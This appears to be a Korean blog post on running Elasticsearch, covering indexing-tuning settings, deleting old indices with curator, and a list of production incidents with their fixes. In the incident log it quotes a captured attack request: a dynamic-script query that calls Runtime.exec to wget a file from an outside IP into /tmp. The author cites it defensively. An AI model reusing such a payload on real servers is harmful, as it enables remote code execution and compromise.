그 외에 인덱싱 성능을 높일 수 있는 다양한 옵션들을 알아본다.

  • index.number_of_replicas: 0 데이터를 모두 넣은 후에 replica 수를 조절한다.

  • indices.store.throttle.type: none segment merging이 리소스를 모두 써버리면 searching이 안되기 때문에 throttle이 있는 것인데, 일단 search는 필요없는 상황이라면 throttle type을 none으로 껐다가 데이터 import 후에 merge로 돌리는 것으로 인덱싱 성능을 올릴 수 있다.

  • index.translog.flush_threshold_size: 1GB 위 권장 설정에서 튜닝한 값인데, flush 주기를 늘려서 인덱싱 성능을 향상시키는 데에 도움을 줄 수 있다.

  • index.refresh_interval: -1 기본값은 1s인데, refresh되지 않도록 껐다가 import가 끝나고 다시 켜면 인덱싱 성능에 도움이 된다. import가 끝난 후에는 optimize API를 사용해 segment merging을 시켜주도록 한다. optimize 하기 전에 index.number_of_replicas가 0인 것을 확인하는 것은 리소스 절약에 도움이 된다.

    curl -XPOST 'http://localhost:9200/test/_optimize?max_num_segments=5'
    
  • ID : document의 ID는 Elasticsearch가 자동 발급하도록 한다. 꼭 ID를 지정해서 넣을 필요가 있을 때에는 Lucene-friendly한 ID가 성능에 도움이 된다.

    • Lucene-friendly : consistent, sequential pattern으로 압축이 쉬운 ID. ex> zero-padded sequential ID, UUID-1, nanotime

    • Lucene-unfriendly : random ID. ex> UUID-4

- 인덱스 크기 유지

로그 수집 같은 time-series 인덱스를 사용하는 시스템에서는 인덱스 크기는 물론 개수가 무한히 늘어날 수 있으므로 과거의 인덱스를 삭제하여 클러스터의 인덱스 크기를 유지할 필요가 있다.

  • _ttl (TimeToLive)

    위 template 섹션에서도 나왔듯이 인덱스에서 지정한 기간이 지난 document를 삭제해주는 기능이다. 다만, 인덱스 자체가 지워지는 것은 아니기때문에 time-series 인덱스를 사용하는 시스템에서는 인덱스 목록 확인 시 많이 불편할 수 있다.

  • curator

    https://github.com/elasticsearch/curator/wiki
    time-series 인덱스의 관리를 편하게 해 주는 파이썬 도구이다. 여러 기능을 지원하는데, 우리의 목적인 오래된 인덱스를 삭제하는 예제는 다음과 같다.

    pip install elasticsearch-curator
    curator --host elasticsearch.example.com --port 9200 delete --older-than 15 --prefix sample-
    

    위 명령으로 'sample-'로 시작하는 15일이 지난 인덱스가 삭제된다.


장애발생! 장애발생!

그동안 함께했던 장애들을 공유한다.

- 디스크 부족

비정상적인 상황으로 debug 로그가 급속도로 쌓이면서 디스크를 모두 소비했는데, 해당 디스크를 Elasticsearch 데이터도 함께 쓰고 있던 상황이라 장애가 커졌다.
디스크 관련 발생 가능한 다양한 이슈 중 하나는 tranlog가 망가져 디스크 부족이 해결돼도 서버 재시작 시 샤드 복구가 안 되는 것이다.
클러스터의 정상화가 중요하므로 해당 데이터는 포기하고 데이터 폴더에서 translog 파일을 지우는 것으로 해결했다.

- 메모리 부족
Caused by: org.elasticsearch.common.util.concurrent.UncheckedExecutionException: org.elasticsearch.common.breaker.CircuitBreakingException: Data too large, data for field [LAST_UPDATED] would be larger than limit of [11270435635/10.4gb]

fielddata curcuit breaker와 cache 설정의 문제이다. 기본 설정값은 indices.fielddata.cache.size: unbounded인데 이 값이 indices.breaker.fielddata.limit보다 크면 heap이 해소가 안되기때문에 cache size를 변경해주어야한다. dynamic setting update가 불가능하므로 서버를 재시작 할 필요가 있다.
참고로, cache size가 너무 작으면 그만큼 메모리에 올라갈 수 있는 field 값이 적어진다는 얘기이므로 search가 느려질 것이다.

- 특정 노드 부하

적절한 클러스터 restart가 되지 않아 primary shard가 특정 노드에 매우 적게 배치될 수 있다. 그러면 다음날 새 인덱스가 생성될 때 특정 노드로 primary shard가 몰리게되고, 결국 한 노드만 인덱싱하는데 CPU를 소비하고 나머지 노드들은 CPU가 일을 하지 않는 불균형이 생기게 된다는 것이다.
또한 노드 별 샤드 수 자체에 불균형이 생기면 역시 search 작업 시 메모리 사용에도 불균형이 생기게 된다. 디스크 공간도 마찬가지다.
이런 경우가 발생하면 shard balancing 관련 설정을 조정하고 threshold도 낮추어서 적절히 균형을 맞출 수 있도록 한다.
내일의 인덱스를 미리 생성해보는 것으로 샤드 밸런싱이 맞는 지 확인할 수 있다.
다음과 같이 직접 API를 통해 rerouting을 해줄 수도 있다.

curl -XPOST 'localhost:9200/_cluster/reroute' -d '{
    "commands" : [ 
        {
          "move" :
            {
              "index" : "test", "shard" : 0,
              "from_node" : "node1", "to_node" : "node2"
            }
        },
        {
          "allocate" : {
              "index" : "test", "shard" : 1, "node" : "node3"
          }
        }
    ]
}'

move는 특정 샤드를 노드 간 이동시키는 것이고, alloocate는 unasssigned shard를 특정 노드로 배치하는 것이다. 해당 작업을 취소하는 cancel 명령어도 있다.

- Dynamic script를 동반한 DoS 공격시도
Caused by: org.elasticsearch.search.SearchParseException: [test-2015.01.02][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/asdq http://183.56.173.23:1153/asdq\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

이런 식의 스크립트 실행 시도가 계속 들어온다. 기본적으로 Elasticsearch로 사용된다고 알려진 9200 포트로 공격 시도를 하는 듯 하다. 방화벽을 막던가 인증을 걸던가 포트를 바꾸는 등의 조치가 필요하다.
기본적으로 script.disable_dynamic: true이기 때문에 공격성 스크립트가 실행되지는 않겠지만 상당한 로그로 인해 자칫 디스크 full이 될 수 있다.

- NumberFormatException
Caused by: java.lang.NumberFormatException: For input string: "MD"

scheme-less 인덱스인 경우 dynamic type mapping에 의해 첫 데이터가 추가될 때 각 field의 type이 지정되게 되는데, 하필 string type인 필드의 첫 데이터 값이 숫자로만 된 경우에는 해당 field가 숫자로 mapping되게 된다. 이 때, 이후에 들어오는 문자열 값을 가진 document는 모두 위와 같은 NumberFormatException을 뱉으면서 데이터 추가에 실패하게된다.
이런 경우가 클러스터 중 하나의 노드에만 발생할 수 있고, 따라서 문제의 노드가 보유한 샤드에만 데이터 추가가 실패할 수도 있다. [관련 링크]
계속된 실패로 엄청난 양의 실패 로그가 쌓여서 또다른 문제가 될 수 있는데, 일단은 해당 노드의 샤드를 다른 노드로 옮기는 것으로 해결이 되었다. rebalancing에 의해 다른 노드의 샤드가 문제의 노드로 옮겨오게 되어도 더이상 로그는 쌓이지 않게 되었다.
궁극적인 해결책은 미리 mapping을 통해 scheme를 정의하는 것이다.

- URL is too long

https://github.com/elasticsearch/elasticsearch/issues/3210
링크와 유사한 에러가 발생하기도 했다. 인덱스 이름도 긴데 일별 인덱스를 한달치 묶어서 쿼리를 하는 경우 url에 각 인덱스가 comma로 구분되어 들어가다보니 url이 너무 길어져서 발생하는 에러이다.
그런 과도한 쿼리는 하지 말거나, http.max_initial_line_length 값을 늘려 주는 것으로 해결할 수 있다. 기본값은 4kb이다.

- Empty text

http://stackoverflow.com/questions/23778336/how-to-fix-this-code-exception-error-elasticsearch
링크처럼 java.lang.IllegalArgumentException: empty text에러도 위의 'URL is too long'과 같은 시점에 발생했는데 둘이 어떻게 연관된 에러인지는 아직 확실한 분석이 되지 않았다. 링크의 답변으로는 http인데 https로 요청을 했다거나, transport port가 아니라 http port로 요청을 한 경우에 발생한다고 한다.
우리는 'URL is too long'을 해결함으로써 같이 해결이 되었다.

Shorel'aran~


+ Recent posts